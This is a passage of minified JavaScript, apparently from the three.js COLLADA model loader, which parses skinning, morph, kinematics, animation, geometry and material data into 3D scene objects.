m=0;m<x.hierarchy.length;m++)if(x.hierarchy[m].name===w[l].sid){var E={};E.time=i/30,E.matrix=w[l].animatrix,0===i&&(w[l].matrix=E.matrix);var b=[new THREE.Vector3,new THREE.Quaternion,new THREE.Vector3];E.matrix.decompose(b[0],b[1],b[2]),E.pos=[b[0].x,b[0].y,b[0].z],E.scl=[b[2].x,b[2].y,b[2].z],E.rot=b[1],x.hierarchy[m].keys.push(E)}e.animation=x}}function g(){if(Ne&&0===Ne.joints.length)return void(Ce=void 0);var e={},t=function(t,i){var r=i.getAttribute("id"),n=De.getChildById(r,!0),o=Ne.joints[t];Re.traverse(function(i){i.colladaId==r&&(e[t]={node:i,transforms:n.transforms,joint:o,position:o.zeroPosition})})};Ce={joints:Ne&&Ne.joints,getJointValue:function(t){var i=e[t];return i?i.position:void console.log("getJointValue: joint "+t+" doesn't exist")},setJointValue:function(t,i){var n=e[t];if(n){var o=n.joint;if(i>o.limits.max||i<o.limits.min)console.log("setJointValue: joint "+t+" value "+i+" outside of limits (min: "+o.limits.min+", max: "+o.limits.max+")");else if(o["static"])console.log("setJointValue: joint "+t+" is static");else{var a=n.node,s=o.axis,c=n.transforms,u=new THREE.Matrix4;for(r=0;r<c.length;r++){var l=c[r];if(l.sid&&-1!==l.sid.indexOf("joint"+t))switch(o.type){case"revolute":u.multiply(h.makeRotationAxis(s,THREE.Math.degToRad(i)));break;case"prismatic":u.multiply(h.makeTranslation(s.x*i,s.y*i,s.z*i));break;default:console.warn("setJointValue: unknown joint type: "+o.type)}else{var h=new THREE.Matrix4;switch(l.type){case"matrix":u.multiply(l.obj);break;case"translate":u.multiply(h.makeTranslation(l.obj.x,l.obj.y,l.obj.z));break;case"rotate":u.multiply(h.makeRotationAxis(l.obj,l.angle))}}}var d=u.elements,p=Array.prototype.slice.call(d),f=[p[0],p[4],p[8],p[12],p[1],p[5],p[9],p[13],p[2],p[6],p[10],p[14],p[3],p[7],p[11],p[15]];a.matrix.set.apply(a.matrix,f),a.matrix.decompose(a.position,a.quaternion,a.scale)}}else console.log("setJointValue: joint "+t+" doesn't exist")}};var i=ke.querySelector("scene instance_kinematics_scene");if(i)for(var r=0;r<i.childNodes.length;r++){var n=i.childNodes[r];if(1==n.nodeType)switch(n.nodeName){case"bind_joint_axis":var o=n.getAttribute("target").split("/").pop(),a=n.querySelector("axis param").textContent,s=parseInt(a.split("joint").pop().split(".")[0]),c=ke.querySelector('[sid="'+o+'"]');if(c){var u=c.parentElement;t(s,u)}}}}function v(e){var t,i,r,n,o=new THREE.Object3D,a=!1;for(r=0;r<e.controllers.length;r++){var s=Ge[e.controllers[r].url];switch(s.type){case"skin":if(Ve[s.skin.source]){var c=new z;c.url=s.skin.source,c.instance_material=e.controllers[r].instance_material,e.geometries.push(c),a=!0,t=e.controllers[r]}else if(Ge[s.skin.source]){var u=Ge[s.skin.source];if(i=u,u.morph&&Ve[u.morph.source]){var c=new z;c.url=u.morph.source,c.instance_material=e.controllers[r].instance_material,e.geometries.push(c)}}break;case"morph":if(Ve[s.morph.source]){var c=new z;c.url=s.morph.source,c.instance_material=e.controllers[r].instance_material,e.geometries.push(c),i=e.controllers[r]}console.log("ColladaLoader: Morph-controller partially supported.")}}var h={};for(r=0;r<e.geometries.length;r++){var d,p=e.geometries[r],f=p.instance_material,g=Ve[p.url],y={},M=[],A=0;if(g){if(!g.mesh||!g.mesh.primitives)continue;if(0===o.name.length&&(o.name=g.id),f)for(n=0;n<f.length;n++){var x=f[n],w=Qe[x.target],E=w.instance_effect.url,b=Ye[E].shader,T=b.material;if(g.doubleSided){if(!(x.symbol in h)){var L=T.clone();L.side=THREE.DoubleSide,h[x.symbol]=L}T=h[x.symbol]}T.opacity=T.opacity?T.opacity:1,y[x.symbol]=A,M.push(T),d=T,d.name=null===w.name||""===w.name?w.id:w.name,A++}var D,N=d||new THREE.MeshLambertMaterial({color:14540253,side:g.doubleSided?THREE.DoubleSide:THREE.FrontSide}),S=g.mesh.geometry3js;if(A>1)for(N=new THREE.MultiMaterial(M),n=0;n<S.faces.length;n++){var C=S.faces[n];C.materialIndex=y[C.daeMaterial]}void 0!==t?(m(S,t),S.morphTargets.length>0?(N.morphTargets=!0,N.skinning=!1):(N.morphTargets=!1,N.skinning=!0),D=new THREE.SkinnedMesh(S,N,!1),D.name="skin_"+ze.length,ze.push(D)):void 0!==i?(l(S,i),N.morphTargets=!0,D=new THREE.Mesh(S,N),D.name="morph_"+Oe.length,Oe.push(D)):D=S.isLineStrip===!0?new THREE.Line(S):new THREE.Mesh(S,N),o.add(D)}}for(r=0;r<e.cameras.length;r++){var I=e.cameras[r],j=He[I.url],_=new THREE.PerspectiveCamera(j.yfov,parseFloat(j.aspect_ratio),parseFloat(j.znear),parseFloat(j.zfar));o.add(_)}for(r=0;r<e.lights.length;r++){var O=null,k=e.lights[r],R=We[k.url];if(R&&R.technique){var B=R.color.getHex(),U=R.intensity,P=R.distance,F=R.falloff_angle;switch(R.technique){case"directional":O=new THREE.DirectionalLight(B,U,P),O.position.set(0,0,1);break;case"point":O=new THREE.PointLight(B,U,P);break;case"spot":O=new THREE.SpotLight(B,U,P,F),O.position.set(0,0,1);break;case"ambient":O=new THREE.AmbientLight(B)}}O&&o.add(O)}if(o.name=e.name||e.id||"",o.colladaId=e.id||"",o.layer=e.layer||"",o.matrix=e.matrix,o.matrix.decompose(o.position,o.quaternion,o.scale),qe.centerGeometry&&o.geometry){var G=o.geometry.center();G.multiply(o.scale),G.applyQuaternion(o.quaternion),o.position.sub(G)}for(r=0;r<e.nodes.length;r++)o.add(v(e.nodes[r],e));return o}function y(e){for(var t=ke.querySelectorAll("library_nodes node"),i=0;i<t.length;i++){var r=t[i].attributes.getNamedItem("id");if(r&&r.value===e)return t[i]}return void 0}function M(e){var t=[],i=1e6,r=-1e6;for(var n in Fe)for(var o=Fe[n],a=0;a<o.channel.length;a++){var s=o.channel[a],c=o.sampler[a],n=s.target.split("/")[0];n==e.id&&(c.create(),s.sampler=c,i=Math.min(i,c.startTime),r=Math.max(r,c.endTime),t.push(s))}return t.length&&(e.startTime=i,e.endTime=r),t}function A(e){if(e.channels&&e.channels.length){for(var t=[],i=[],r=0,n=e.channels.length;n>r;r++){var o,a=e.channels[r],s=a.fullSid,c=a.sampler,u=c.input,l=e.getTransformBySid(a.sid);if(a.arrIndices){o=[];for(var h=0,d=a.arrIndices.length;d>h;h++)o[h]=Te(a.arrIndices[h])}else o=Le(a.member);if(l){-1===i.indexOf(s)&&i.push(s);for(var h=0,d=u.length;d>h;h++){var p=u[h],f=c.getData(l.type,h,o),m=x(t,p);if(!m){m=new ie(p);var g=w(t,p);t.splice(-1===g?t.length:g,0,m)}m.addTarget(s,l,o,f)}}else console.log('Could not find transform "'+a.sid+'" in node '+e.id)}for(var r=0;r<i.length;r++)for(var v=i[r],h=0;h<t.length;h++){var m=t[h];m.hasTarget(v)||E(t,m,h,v)}e.keys=t,e.sids=i;
}}function x(e,t){for(var i=null,r=0,n=e.length;n>r&&null===i;r++){var o=e[r];if(o.time===t)i=o;else if(o.time>t)break}return i}function w(e,t){for(var i=-1,r=0,n=e.length;n>r&&-1===i;r++){var o=e[r];o.time>=t&&(i=r)}return i}function E(e,t,i,r){var n=T(e,r,i?i-1:0),o=b(e,r,i+1);if(n&&o){var a,s=(t.time-n.time)/(o.time-n.time),c=n.getTarget(r),u=o.getTarget(r).data,l=c.data;if("matrix"===c.type)a=l;else if(l.length){a=[];for(var h=0;h<l.length;++h)a[h]=l[h]+(u[h]-l[h])*s}else a=l+(u-l)*s;t.addTarget(r,c.transform,c.member,a)}}function b(e,t,i){for(;i<e.length;i++){var r=e[i];if(r.hasTarget(t))return r}return null}function T(e,t,i){for(i=i>=0?i:i+e.length;i>=0;i--){var r=e[i];if(r.hasTarget(t))return r}return null}function L(){this.id="",this.init_from=""}function D(){this.id="",this.name="",this.type="",this.skin=null,this.morph=null}function N(){this.method=null,this.source=null,this.targets=null,this.weights=null}function S(){this.source="",this.bindShapeMatrix=null,this.invBindMatrices=[],this.joints=[],this.weights=[]}function C(){this.id="",this.name="",this.nodes=[],this.scene=new THREE.Group}function I(){this.id="",this.name="",this.sid="",this.nodes=[],this.controllers=[],this.transforms=[],this.geometries=[],this.channels=[],this.matrix=new THREE.Matrix4}function j(){this.sid="",this.type="",this.data=[],this.obj=null}function _(){this.url="",this.skeleton=[],this.instance_material=[]}function O(){this.symbol="",this.target=""}function z(){this.url="",this.instance_material=[]}function k(){this.id="",this.mesh=null}function R(e){this.geometry=e.id,this.primitives=[],this.vertices=null,this.geometry3js=null}function B(){this.material="",this.count=0,this.inputs=[],this.vcount=null,this.p=[],this.geometry=new THREE.Geometry}function U(){B.call(this),this.vcount=[]}function P(){B.call(this),this.vcount=1}function F(){B.call(this),this.vcount=3}function G(){this.source="",this.count=0,this.stride=0,this.params=[]}function V(){this.input={}}function Q(){this.semantic="",this.offset=0,this.source="",this.set=0}function Y(e){this.id=e,this.type=null}function H(){this.id="",this.name="",this.instance_effect=null}function W(){this.color=new THREE.Color,this.color.setRGB(Math.random(),Math.random(),Math.random()),this.color.a=1,this.texture=null,this.texcoord=null,this.texOpts=null}function X(e,t){this.type=e,this.effect=t,this.material=null}function q(e){this.effect=e,this.init_from=null,this.format=null}function Z(e){this.effect=e,this.source=null,this.wrap_s=null,this.wrap_t=null,this.minfilter=null,this.magfilter=null,this.mipfilter=null}function K(){this.id="",this.name="",this.shader=null,this.surface={},this.sampler={}}function J(){this.url=""}function $(){this.id="",this.name="",this.source={},this.sampler=[],this.channel=[]}function ee(e){this.animation=e,this.source="",this.target="",this.fullSid=null,this.sid=null,this.dotSyntax=null,this.arrSyntax=null,this.arrIndices=null,this.member=null}function te(e){this.id="",this.animation=e,this.inputs=[],this.input=null,this.output=null,this.strideOut=null,this.interpolation=null,this.startTime=null,this.endTime=null,this.duration=0}function ie(e){this.targets=[],this.time=e}function re(){this.id="",this.name="",this.technique=""}function ne(){this.url=""}function oe(){this.id="",this.name="",this.technique=""}function ae(){this.url=""}function se(){this.id="",this.name="",this.joints=[],this.links=[]}function ce(){this.sid="",this.name="",this.axis=new THREE.Vector3,this.limits={min:0,max:0},this.type="",this["static"]=!1,this.zeroPosition=0,this.middlePosition=0}function ue(){this.sid="",this.name="",this.transforms=[],this.attachments=[]}function le(){this.joint="",this.transforms=[],this.links=[]}function he(e){var t=e.getAttribute("id");return void 0!=Ue[t]?Ue[t]:(Ue[t]=new Y(t).parse(e),Ue[t])}function de(e){for(var t=me(e),i=[],r=0,n=t.length;n>r;r++)i.push("true"===t[r]||"1"===t[r]?!0:!1);return i}function pe(e){for(var t=me(e),i=[],r=0,n=t.length;n>r;r++)i.push(parseFloat(t[r]));return i}function fe(e){for(var t=me(e),i=[],r=0,n=t.length;n>r;r++)i.push(parseInt(t[r],10));return i}function me(e){return e.length>0?ge(e).split(/\s+/):[]}function ge(e){return e.replace(/^\s+/,"").replace(/\s+$/,"")}function ve(e,t,i){return e.hasAttribute(t)?parseInt(e.getAttribute(t),10):i}function ye(e,t){var i=new THREE.ImageLoader;i.load(t,function(t){e.image=t,e.needsUpdate=!0})}function Me(e,t){e.doubleSided=!1;var i=t.querySelectorAll("extra double_sided")[0];i&&i&&1===parseInt(i.textContent,10)&&(e.doubleSided=!0)}function Ae(){if(qe.convertUpAxis!==!0||Ke===qe.upAxis)Je=null;else switch(Ke){case"X":Je="Y"===qe.upAxis?"XtoY":"XtoZ";break;case"Y":Je="X"===qe.upAxis?"YtoX":"YtoZ";break;case"Z":Je="X"===qe.upAxis?"ZtoX":"ZtoY"}}function xe(e,t){if(qe.convertUpAxis===!0&&Ke!==qe.upAxis)switch(Je){case"XtoY":var i=e[0];e[0]=t*e[1],e[1]=i;break;case"XtoZ":var i=e[2];e[2]=e[1],e[1]=e[0],e[0]=i;break;case"YtoX":var i=e[0];e[0]=e[1],e[1]=t*i;break;case"YtoZ":var i=e[1];e[1]=t*e[2],e[2]=i;break;case"ZtoX":var i=e[0];e[0]=e[1],e[1]=e[2],e[2]=i;break;case"ZtoY":var i=e[1];e[1]=e[2],e[2]=t*i}}function we(e,t){if(qe.convertUpAxis!==!0||Ke===qe.upAxis)return t;switch(e){case"X":t="XtoY"===Je?-1*t:t;break;case"Y":t="YtoZ"===Je||"YtoX"===Je?-1*t:t;break;case"Z":t="ZtoY"===Je?-1*t:t}return t}function Ee(e,t){var i=[e[t],e[t+1],e[t+2]];return xe(i,-1),new THREE.Vector3(i[0],i[1],i[2])}function be(e){if(qe.convertUpAxis){var t=[e[0],e[4],e[8]];xe(t,-1),e[0]=t[0],e[4]=t[1],e[8]=t[2],t=[e[1],e[5],e[9]],xe(t,-1),e[1]=t[0],e[5]=t[1],e[9]=t[2],t=[e[2],e[6],e[10]],xe(t,-1),e[2]=t[0],e[6]=t[1],e[10]=t[2],t=[e[0],e[1],e[2]],xe(t,-1),e[0]=t[0],e[1]=t[1],e[2]=t[2],t=[e[4],e[5],e[6]],xe(t,-1),e[4]=t[0],e[5]=t[1],e[6]=t[2],t=[e[8],e[9],e[10]],xe(t,-1),e[8]=t[0],e[9]=t[1],e[10]=t[2],t=[e[3],e[7],e[11]],xe(t,-1),e[3]=t[0],e[7]=t[1],e[11]=t[2]}return(new THREE.Matrix4).set(e[0],e[1],e[2],e[3],e[4],e[5],e[6],e[7],e[8],e[9],e[10],e[11],e[12],e[13],e[14],e[15])}function Te(e){if(e>-1&&3>e){var t=["X","Y","Z"],i={X:0,Y:1,Z:2};e=Le(t[e]),e=i[e]}return e}function Le(e){if(qe.convertUpAxis)switch(e){case"X":switch(Je){case"XtoY":case"XtoZ":case"YtoX":e="Y";break;case"ZtoX":e="Z"}break;case"Y":switch(Je){case"XtoY":case"YtoX":case"ZtoX":e="X";break;case"XtoZ":case"YtoZ":case"ZtoY":e="Z"}break;case"Z":switch(Je){case"XtoZ":e="X";break;case"YtoZ":case"ZtoX":case"ZtoY":e="Y"}}return e}var De,Ne,Se,Ce,Ie,je,_e,Oe,ze,ke=null,Re=null,Be=null,Ue={},Pe={},Fe={},Ge={},Ve={},Qe={},Ye={},He={},We={},Xe=THREE.SmoothShading,qe={centerGeometry:!1,convertUpAxis:!1,subdivideFaces:!0,upAxis:"Y",defaultEnvMap:null},Ze=1,Ke="Y",Je=null;return L.prototype.parse=function(e){this.id=e.getAttribute("id");for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];"init_from"===i.nodeName&&(this.init_from=i.textContent)}return this},D.prototype.parse=function(e){this.id=e.getAttribute("id"),this.name=e.getAttribute("name"),this.type="none";for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];switch(i.nodeName){case"skin":this.skin=(new S).parse(i),this.type=i.nodeName;break;case"morph":this.morph=(new N).parse(i),this.type=i.nodeName}}return this},N.prototype.parse=function(e){var t,i={},r=[];for(this.method=e.getAttribute("method"),this.source=e.getAttribute("source").replace(/^#/,""),t=0;t<e.childNodes.length;t++){var n=e.childNodes[t];if(1==n.nodeType)switch(n.nodeName){case"source":var o=(new Y).parse(n);i[o.id]=o;break;case"targets":r=this.parseInputs(n);break;default:console.log(n.nodeName)}}for(t=0;t<r.length;t++){var a=r[t],o=i[a.source];switch(a.semantic){case"MORPH_TARGET":this.targets=o.read();break;case"MORPH_WEIGHT":this.weights=o.read()}}return this},N.prototype.parseInputs=function(e){for(var t=[],i=0;i<e.childNodes.length;i++){var r=e.childNodes[i];if(1==r.nodeType)switch(r.nodeName){case"input":t.push((new Q).parse(r))}}return t},S.prototype.parse=function(e){var t,i,r={};this.source=e.getAttribute("source").replace(/^#/,""),this.invBindMatrices=[],this.joints=[],this.weights=[];for(var n=0;n<e.childNodes.length;n++){var o=e.childNodes[n];if(1==o.nodeType)switch(o.nodeName){case"bind_shape_matrix":var a=pe(o.textContent);this.bindShapeMatrix=be(a);break;case"source":var s=(new Y).parse(o);r[s.id]=s;break;case"joints":t=o;break;case"vertex_weights":i=o;break;default:console.log(o.nodeName)}}return this.parseJoints(t,r),this.parseWeights(i,r),this},S.prototype.parseJoints=function(e,t){for(var i=0;i<e.childNodes.length;i++){var r=e.childNodes[i];if(1==r.nodeType)switch(r.nodeName){case"input":var n=(new Q).parse(r),o=t[n.source];"JOINT"===n.semantic?this.joints=o.read():"INV_BIND_MATRIX"===n.semantic&&(this.invBindMatrices=o.read())}}},S.prototype.parseWeights=function(e,t){for(var i,r,n=[],o=0;o<e.childNodes.length;o++){var a=e.childNodes[o];if(1==a.nodeType)switch(a.nodeName){case"input":n.push((new Q).parse(a));break;case"v":i=fe(a.textContent);break;case"vcount":r=fe(a.textContent)}}for(var s=0,o=0;o<r.length;o++){for(var c=r[o],u=[],l=0;c>l;l++){for(var h={},d=0;d<n.length;d++){var p=n[d],f=i[s+p.offset];switch(p.semantic){case"JOINT":h.joint=f;break;case"WEIGHT":h.weight=t[p.source].data[f]}}u.push(h),s+=n.length}for(var l=0;l<u.length;l++)u[l].index=o;this.weights.push(u)}},C.prototype.getChildById=function(e,t){for(var i=0;i<this.nodes.length;i++){var r=this.nodes[i].getChildById(e,t);if(r)return r}return null},C.prototype.getChildBySid=function(e,t){for(var i=0;i<this.nodes.length;i++){var r=this.nodes[i].getChildBySid(e,t);if(r)return r}return null},C.prototype.parse=function(e){this.id=e.getAttribute("id"),this.name=e.getAttribute("name"),this.nodes=[];for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];if(1==i.nodeType)switch(i.nodeName){case"node":this.nodes.push((new I).parse(i))}}return this},I.prototype.getChannelForTransform=function(e){for(var t=0;t<this.channels.length;t++){var i,r,n=this.channels[t],o=n.target.split("/"),a=(o.shift(),o.shift()),s=a.indexOf(".")>=0,c=a.indexOf("(")>=0;if(s)o=a.split("."),a=o.shift(),r=o.shift();else if(c){i=a.split("("),a=i.shift();for(var u=0;u<i.length;u++)i[u]=parseInt(i[u].replace(/\)/,""))}if(a===e)return n.info={sid:a,dotSyntax:s,arrSyntax:c,arrIndices:i},n}return null},I.prototype.getChildById=function(e,t){if(this.id===e)return this;if(t)for(var i=0;i<this.nodes.length;i++){var r=this.nodes[i].getChildById(e,t);if(r)return r}return null},I.prototype.getChildBySid=function(e,t){if(this.sid===e)return this;if(t)for(var i=0;i<this.nodes.length;i++){var r=this.nodes[i].getChildBySid(e,t);if(r)return r}return null},I.prototype.getTransformBySid=function(e){for(var t=0;t<this.transforms.length;t++)if(this.transforms[t].sid===e)return this.transforms[t];return null},I.prototype.parse=function(e){var t;this.id=e.getAttribute("id"),this.sid=e.getAttribute("sid"),this.name=e.getAttribute("name"),this.type=e.getAttribute("type"),this.layer=e.getAttribute("layer"),this.type="JOINT"===this.type?this.type:"NODE",this.nodes=[],this.transforms=[],this.geometries=[],this.cameras=[],this.lights=[],this.controllers=[],this.matrix=new THREE.Matrix4;for(var i=0;i<e.childNodes.length;i++){var r=e.childNodes[i];if(1==r.nodeType)switch(r.nodeName){case"node":this.nodes.push((new I).parse(r));break;case"instance_camera":this.cameras.push((new ne).parse(r));break;case"instance_controller":this.controllers.push((new _).parse(r));break;case"instance_geometry":this.geometries.push((new z).parse(r));break;case"instance_light":this.lights.push((new ae).parse(r));break;case"instance_node":t=r.getAttribute("url").replace(/^#/,"");var n=y(t);n&&this.nodes.push((new I).parse(n));break;case"rotate":case"translate":case"scale":case"matrix":case"lookat":case"skew":this.transforms.push((new j).parse(r));break;case"extra":break;default:console.log(r.nodeName)}}return this.channels=M(this),A(this),this.updateMatrix(),this},I.prototype.updateMatrix=function(){this.matrix.identity();for(var e=0;e<this.transforms.length;e++)this.transforms[e].apply(this.matrix)},j.prototype.parse=function(e){return this.sid=e.getAttribute("sid"),this.type=e.nodeName,this.data=pe(e.textContent),this.convert(),this},j.prototype.convert=function(){switch(this.type){case"matrix":this.obj=be(this.data);break;case"rotate":this.angle=THREE.Math.degToRad(this.data[3]);case"translate":xe(this.data,-1),this.obj=new THREE.Vector3(this.data[0],this.data[1],this.data[2]);break;case"scale":xe(this.data,1),this.obj=new THREE.Vector3(this.data[0],this.data[1],this.data[2]);break;default:console.log("Can not convert Transform of type "+this.type)}},j.prototype.apply=function(){var e=new THREE.Matrix4;return function(t){switch(this.type){case"matrix":t.multiply(this.obj);break;case"translate":t.multiply(e.makeTranslation(this.obj.x,this.obj.y,this.obj.z));break;case"rotate":t.multiply(e.makeRotationAxis(this.obj,this.angle));break;case"scale":t.scale(this.obj)}}}(),j.prototype.update=function(e,t){var i=["X","Y","Z","ANGLE"];switch(this.type){case"matrix":if(t)if(1===t.length)switch(t[0]){case 0:this.obj.n11=e[0],this.obj.n21=e[1],this.obj.n31=e[2],this.obj.n41=e[3];break;case 1:this.obj.n12=e[0],this.obj.n22=e[1],this.obj.n32=e[2],this.obj.n42=e[3];break;case 2:this.obj.n13=e[0],this.obj.n23=e[1],this.obj.n33=e[2],this.obj.n43=e[3];break;case 3:this.obj.n14=e[0],this.obj.n24=e[1],this.obj.n34=e[2],this.obj.n44=e[3]}else if(2===t.length){var r="n"+(t[0]+1)+(t[1]+1);this.obj[r]=e}else console.log("Incorrect addressing of matrix in transform.");else this.obj.copy(e);break;case"translate":case"scale":switch("[object Array]"===Object.prototype.toString.call(t)&&(t=i[t[0]]),t){case"X":this.obj.x=e;break;case"Y":this.obj.y=e;break;case"Z":this.obj.z=e;break;default:this.obj.x=e[0],this.obj.y=e[1],this.obj.z=e[2]}break;case"rotate":switch("[object Array]"===Object.prototype.toString.call(t)&&(t=i[t[0]]),t){case"X":this.obj.x=e;break;case"Y":this.obj.y=e;break;case"Z":this.obj.z=e;break;case"ANGLE":this.angle=THREE.Math.degToRad(e);break;default:this.obj.x=e[0],this.obj.y=e[1],this.obj.z=e[2],this.angle=THREE.Math.degToRad(e[3])}}},_.prototype.parse=function(e){this.url=e.getAttribute("url").replace(/^#/,""),this.skeleton=[],this.instance_material=[];for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];if(1===i.nodeType)switch(i.nodeName){case"skeleton":this.skeleton.push(i.textContent.replace(/^#/,""));break;case"bind_material":for(var r=i.querySelectorAll("instance_material"),n=0;n<r.length;n++){var o=r[n];this.instance_material.push((new O).parse(o))}break;case"extra":}}return this},O.prototype.parse=function(e){return this.symbol=e.getAttribute("symbol"),this.target=e.getAttribute("target").replace(/^#/,""),this},z.prototype.parse=function(e){this.url=e.getAttribute("url").replace(/^#/,""),this.instance_material=[];for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];if(1==i.nodeType&&"bind_material"===i.nodeName){for(var r=i.querySelectorAll("instance_material"),n=0;n<r.length;n++){var o=r[n];this.instance_material.push((new O).parse(o))}break}}return this},k.prototype.parse=function(e){this.id=e.getAttribute("id"),Me(this,e);for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];switch(i.nodeName){case"mesh":this.mesh=new R(this).parse(i);break;case"extra":}}return this},R.prototype.parse=function(e){this.primitives=[];for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];switch(i.nodeName){case"source":he(i);break;case"vertices":this.vertices=(new V).parse(i);break;case"linestrips":this.primitives.push((new P).parse(i));break;case"triangles":this.primitives.push((new F).parse(i));break;case"polygons":this.primitives.push((new B).parse(i));break;case"polylist":this.primitives.push((new U).parse(i))}}if(this.geometry3js=new THREE.Geometry,null===this.vertices)return this;for(var r=Ue[this.vertices.input.POSITION.source].data,t=0;t<r.length;t+=3)this.geometry3js.vertices.push(Ee(r,t).clone());for(var t=0;t<this.primitives.length;t++){var n=this.primitives[t];n.setVertices(this.vertices),this.handlePrimitive(n,this.geometry3js)}return this.geometry3js.calcNormals&&(this.geometry3js.computeVertexNormals(),delete this.geometry3js.calcNormals),this},R.prototype.handlePrimitive=function(e,t){if(e instanceof P)return void(t.isLineStrip=!0);var i,r,n,o,a,s,c,u=e.p,l=e.inputs,h=0,d=3,p=0,f=[];for(i=0;i<l.length;i++){n=l[i];var m=n.offset+1;switch(p=m>p?m:p,n.semantic){case"TEXCOORD":f.push(n.set)}}for(var g=0;g<u.length;++g)for(var v=u[g],y=0;y<v.length;){var M=[],A=[],x=null,w=[];for(d=e.vcount?e.vcount.length?e.vcount[h++]:e.vcount:v.length/p,i=0;d>i;i++)for(r=0;r<l.length;r++)switch(n=l[r],s=Ue[n.source],o=v[y+i*p+n.offset],c=s.accessor.params.length,a=o*c,n.semantic){case"VERTEX":M.push(o);break;case"NORMAL":A.push(Ee(s.data,a));break;case"TEXCOORD":x=x||{},void 0===x[n.set]&&(x[n.set]=[]),x[n.set].push(new THREE.Vector2(s.data[a],s.data[a+1]));break;case"COLOR":w.push((new THREE.Color).setRGB(s.data[a],s.data[a+1],s.data[a+2]))}if(0===A.length)if(n=this.vertices.input.NORMAL){s=Ue[n.source],c=s.accessor.params.length;for(var E=0,b=M.length;b>E;E++)A.push(Ee(s.data,M[E]*c))}else t.calcNormals=!0;if(!x&&(x={},n=this.vertices.input.TEXCOORD)){f.push(n.set),s=Ue[n.source],c=s.accessor.params.length;for(var E=0,b=M.length;b>E;E++)a=M[E]*c,void 0===x[n.set]&&(x[n.set]=[]),x[n.set].push(new THREE.Vector2(s.data[a],1-s.data[a+1]))}if(0===w.length&&(n=this.vertices.input.COLOR)){s=Ue[n.source],c=s.accessor.params.length;for(var E=0,b=M.length;b>E;E++)a=M[E]*c,w.push((new THREE.Color).setRGB(s.data[a],s.data[a+1],s.data[a+2]))}var T,L,D=null,N=[];if(3===d)N.push(new THREE.Face3(M[0],M[1],M[2],A,w.length?w:new THREE.Color));else if(4===d)N.push(new THREE.Face3(M[0],M[1],M[3],A.length?[A[0].clone(),A[1].clone(),A[3].clone()]:[],w.length?[w[0],w[1],w[3]]:new THREE.Color)),N.push(new THREE.Face3(M[1],M[2],M[3],A.length?[A[1].clone(),A[2].clone(),A[3].clone()]:[],w.length?[w[1],w[2],w[3]]:new THREE.Color));else if(d>4&&qe.subdivideFaces){var S=w.length?w:new THREE.Color;for(r=1;d-1>r;)N.push(new THREE.Face3(M[0],M[r],M[r+1],A.length?[A[0].clone(),A[r++].clone(),A[r].clone()]:[],S))}if(N.length)for(var E=0,b=N.length;b>E;E++)for(D=N[E],D.daeMaterial=e.material,t.faces.push(D),r=0;r<f.length;r++)T=x[f[r]],L=d>4?[T[0],T[E+1],T[E+2]]:4===d?0===E?[T[0],T[1],T[3]]:[T[1].clone(),T[2],T[3].clone()]:[T[0],T[1],T[2]],void 0===t.faceVertexUvs[r]&&(t.faceVertexUvs[r]=[]),t.faceVertexUvs[r].push(L);else console.log("dropped face with vcount "+d+" for geometry with id: "+t.id);y+=p*d}},B.prototype.setVertices=function(e){for(var t=0;t<this.inputs.length;t++)this.inputs[t].source===e.id&&(this.inputs[t].source=e.input.POSITION.source)},B.prototype.parse=function(e){this.material=e.getAttribute("material"),this.count=ve(e,"count",0);for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];switch(i.nodeName){case"input":this.inputs.push((new Q).parse(e.childNodes[t]));break;case"vcount":this.vcount=fe(i.textContent);break;case"p":this.p.push(fe(i.textContent));break;case"ph":console.warn("polygon holes not yet supported!")}}return this},U.prototype=Object.create(B.prototype),U.prototype.constructor=U,P.prototype=Object.create(B.prototype),P.prototype.constructor=P,F.prototype=Object.create(B.prototype),F.prototype.constructor=F,G.prototype.parse=function(e){this.params=[],this.source=e.getAttribute("source"),this.count=ve(e,"count",0),this.stride=ve(e,"stride",0);for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];if("param"===i.nodeName){var r={};r.name=i.getAttribute("name"),r.type=i.getAttribute("type"),this.params.push(r)}}return this},V.prototype.parse=function(e){this.id=e.getAttribute("id");for(var t=0;t<e.childNodes.length;t++)if("input"===e.childNodes[t].nodeName){var i=(new Q).parse(e.childNodes[t]);this.input[i.semantic]=i}return this},Q.prototype.parse=function(e){return this.semantic=e.getAttribute("semantic"),this.source=e.getAttribute("source").replace(/^#/,""),this.set=ve(e,"set",-1),this.offset=ve(e,"offset",0),"TEXCOORD"===this.semantic&&this.set<0&&(this.set=0),this},Y.prototype.parse=function(e){this.id=e.getAttribute("id");for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];switch(i.nodeName){case"bool_array":this.data=de(i.textContent),this.type=i.nodeName;break;case"float_array":this.data=pe(i.textContent),this.type=i.nodeName;break;case"int_array":this.data=fe(i.textContent),this.type=i.nodeName;break;case"IDREF_array":case"Name_array":this.data=me(i.textContent),this.type=i.nodeName;break;case"technique_common":for(var r=0;r<i.childNodes.length;r++)if("accessor"===i.childNodes[r].nodeName){this.accessor=(new G).parse(i.childNodes[r]);break}}}return this},Y.prototype.read=function(){var e=[],t=this.accessor.params[0];switch(t.type){case"IDREF":case"Name":case"name":case"float":return this.data;case"float4x4":for(var i=0;i<this.data.length;i+=16){var r=this.data.slice(i,i+16),n=be(r);e.push(n)}break;default:console.log("ColladaLoader: Source: Read dont know how to read "+t.type+".")}return e},H.prototype.parse=function(e){this.id=e.getAttribute("id"),this.name=e.getAttribute("name");for(var t=0;t<e.childNodes.length;t++)if("instance_effect"===e.childNodes[t].nodeName){this.instance_effect=(new J).parse(e.childNodes[t]);break}return this},W.prototype.isColor=function(){return null===this.texture},W.prototype.isTexture=function(){return null!=this.texture},W.prototype.parse=function(e){"transparent"===e.nodeName&&(this.opaque=e.getAttribute("opaque"));for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];if(1==i.nodeType)switch(i.nodeName){case"color":var r=pe(i.textContent);this.color=new 